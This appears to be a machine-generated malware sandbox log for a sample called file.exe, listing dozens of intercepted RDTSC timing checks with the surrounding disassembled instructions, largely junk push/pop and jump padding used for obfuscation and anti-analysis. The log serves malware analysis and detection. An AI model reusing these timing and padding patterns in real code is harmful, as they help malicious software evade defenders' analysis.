Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590AF5 second address: 590B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FFB70EEC026h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B0B second address: 590B11 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590B11 second address: 590B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590DC9 second address: 590DD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007FFB70DAD976h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590DD9 second address: 590DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 591850 second address: 591854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596B81 second address: 596B87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596B87 second address: 596BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD989h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c jng 00007FFB70DAD97Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598EB5 second address: 598EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A61DB second address: 5A61F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD985h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A61F4 second address: 5A6224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB70EEC037h 0x0000000f jmp 00007FFB70EEC02Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6224 second address: 5A624D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnp 00007FFB70DAD976h 0x00000013 jno 00007FFB70DAD976h 0x00000019 jmp 00007FFB70DAD97Bh 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A624D second address: 5A6268 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Ah 0x00000007 jmp 00007FFB70EEC02Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7862 second address: 5A786D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007FFB70DAD976h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9281 second address: 5B9285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9285 second address: 5B928B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E08 second address: 5B8E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FFB70EEC028h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E18 second address: 5B8E44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFB70DAD989h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E44 second address: 5B8E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8FAF second address: 5B8FC6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB70DAD976h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jc 00007FFB70DAD976h 0x00000013 pop ebx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB887 second address: 5BB89B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70EEC030h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB89B second address: 5BB8A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB8A7 second address: 5BB8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB8AB second address: 5BB8D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FFB70DAD976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FFB70DAD986h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B00 second address: 5D3B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FFB70EEC026h 0x0000000a jo 00007FFB70EEC026h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 ja 00007FFB70EEC02Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B27 second address: 5D3B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B2B second address: 5D3B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFB70EEC026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFB70EEC038h 0x00000016 jmp 00007FFB70EEC039h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B6D second address: 5D3B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B71 second address: 5D3B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FFB70EEC026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B7D second address: 5D3B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3B87 second address: 5D3B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2A23 second address: 5D2A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD983h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2B88 second address: 5D2B8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2B8E second address: 5D2B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2B92 second address: 5D2B98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E63 second address: 5D2E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2E67 second address: 5D2EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC038h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FFB70EEC02Ah 0x0000000e jmp 00007FFB70EEC039h 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 jmp 00007FFB70EEC039h 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FF7 second address: 5D2FFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2FFD second address: 5D3026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFB70EEC039h 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FFB70EEC026h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D32CE second address: 5D32D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D356C second address: 5D3570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3570 second address: 5D3576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B6F second address: 5D7B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7B75 second address: 5D7B7A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D817C second address: 5D8182 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8182 second address: 5D81DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD982h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, 7F6212ABh 0x00000011 push dword ptr [ebp+122D1DA3h] 0x00000017 adc dl, 0000003Ah 0x0000001a call 00007FFB70DAD979h 0x0000001f jnc 00007FFB70DAD989h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jo 00007FFB70DAD980h 0x0000002e jmp 00007FFB70DAD97Ah 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D81DE second address: 5D8230 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC037h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnp 00007FFB70EEC039h 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ebx 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 je 00007FFB70EEC026h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8230 second address: 5D8236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80DA0 second address: 4A80DA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80DA6 second address: 4A80E4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007FFB70DAD97Fh 0x00000012 pushfd 0x00000013 jmp 00007FFB70DAD988h 0x00000018 and eax, 72266CE8h 0x0000001e jmp 00007FFB70DAD97Bh 0x00000023 popfd 0x00000024 pop eax 0x00000025 mov ebx, 69AB1D2Ch 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c jmp 00007FFB70DAD97Bh 0x00000031 mov ebp, esp 0x00000033 pushad 0x00000034 mov edx, eax 0x00000036 pushfd 0x00000037 jmp 00007FFB70DAD980h 0x0000003c adc ecx, 60B04A78h 0x00000042 jmp 00007FFB70DAD97Bh 0x00000047 popfd 0x00000048 popad 0x00000049 pop ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FFB70DAD985h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70C93 second address: 4A70CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CB0 second address: 4A70CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CB4 second address: 4A70CBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70CBA second address: 4A70CEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD982h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70DAD987h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB05C4 second address: 4AB05C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB05C9 second address: 4AB05CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB05CF second address: 4AB05D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB05D3 second address: 4AB060A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD986h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FFB70DAD980h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov cl, C1h 0x00000016 push eax 0x00000017 push edx 0x00000018 mov si, di 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5011D second address: 4A50169 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFB70EEC033h 0x00000013 jmp 00007FFB70EEC033h 0x00000018 popfd 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50169 second address: 4A5017F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD982h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5017F second address: 4A501DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFB70EEC02Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 pushfd 0x00000014 jmp 00007FFB70EEC033h 0x00000019 or eax, 28D61ABEh 0x0000001f jmp 00007FFB70EEC039h 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ecx, edx 0x0000002d mov cx, dx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A501DB second address: 4A501FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 4C1711CDh 0x00000008 mov eax, 568FFDC9h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push dword ptr [ebp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFB70DAD97Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70996 second address: 4A709D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70EEC02Eh 0x00000009 sub ah, 00000048h 0x0000000c jmp 00007FFB70EEC02Bh 0x00000011 popfd 0x00000012 mov ch, 67h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FFB70EEC037h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7048D second address: 4A70491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70491 second address: 4A70495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70495 second address: 4A7049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7049B second address: 4A704A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70265 second address: 4A70269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70269 second address: 4A7026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7026D second address: 4A70273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70273 second address: 4A702AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC038h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FFB70EEC030h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov dx, 7580h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A702AD second address: 4A702B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB04FF second address: 4AB0503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB0503 second address: 4AB051A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB051A second address: 4AB0528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9017B second address: 4A901D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70DAD97Eh 0x00000008 mov bh, cl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e pushad 0x0000000f mov ecx, edx 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 mov eax, edi 0x00000018 pushfd 0x00000019 jmp 00007FFB70DAD983h 0x0000001e or eax, 11E5A24Eh 0x00000024 jmp 00007FFB70DAD989h 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov eax, edx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A901D9 second address: 4A90202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFB70EEC035h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90202 second address: 4A90296 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FFB70DAD987h 0x00000009 add eax, 06086A6Eh 0x0000000f jmp 00007FFB70DAD989h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and dword ptr [eax], 00000000h 0x0000001d jmp 00007FFB70DAD97Ch 0x00000022 and dword ptr [eax+04h], 00000000h 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FFB70DAD97Eh 0x0000002d sbb cl, 00000018h 0x00000030 jmp 00007FFB70DAD97Bh 0x00000035 popfd 0x00000036 pushad 0x00000037 mov esi, 11968965h 0x0000003c mov cx, 56E1h 0x00000040 popad 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FFB70DAD983h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90296 second address: 4A9029C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9029C second address: 4A902A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A703C9 second address: 4A7040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC036h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FFB70EEC030h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FFB70EEC037h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7040F second address: 4A70467 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFB70DAD983h 0x00000013 sub cx, 431Eh 0x00000018 jmp 00007FFB70DAD989h 0x0000001d popfd 0x0000001e mov di, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70467 second address: 4A7046D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7046D second address: 4A70471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80C9F second address: 4A80CA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80CA5 second address: 4A80CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
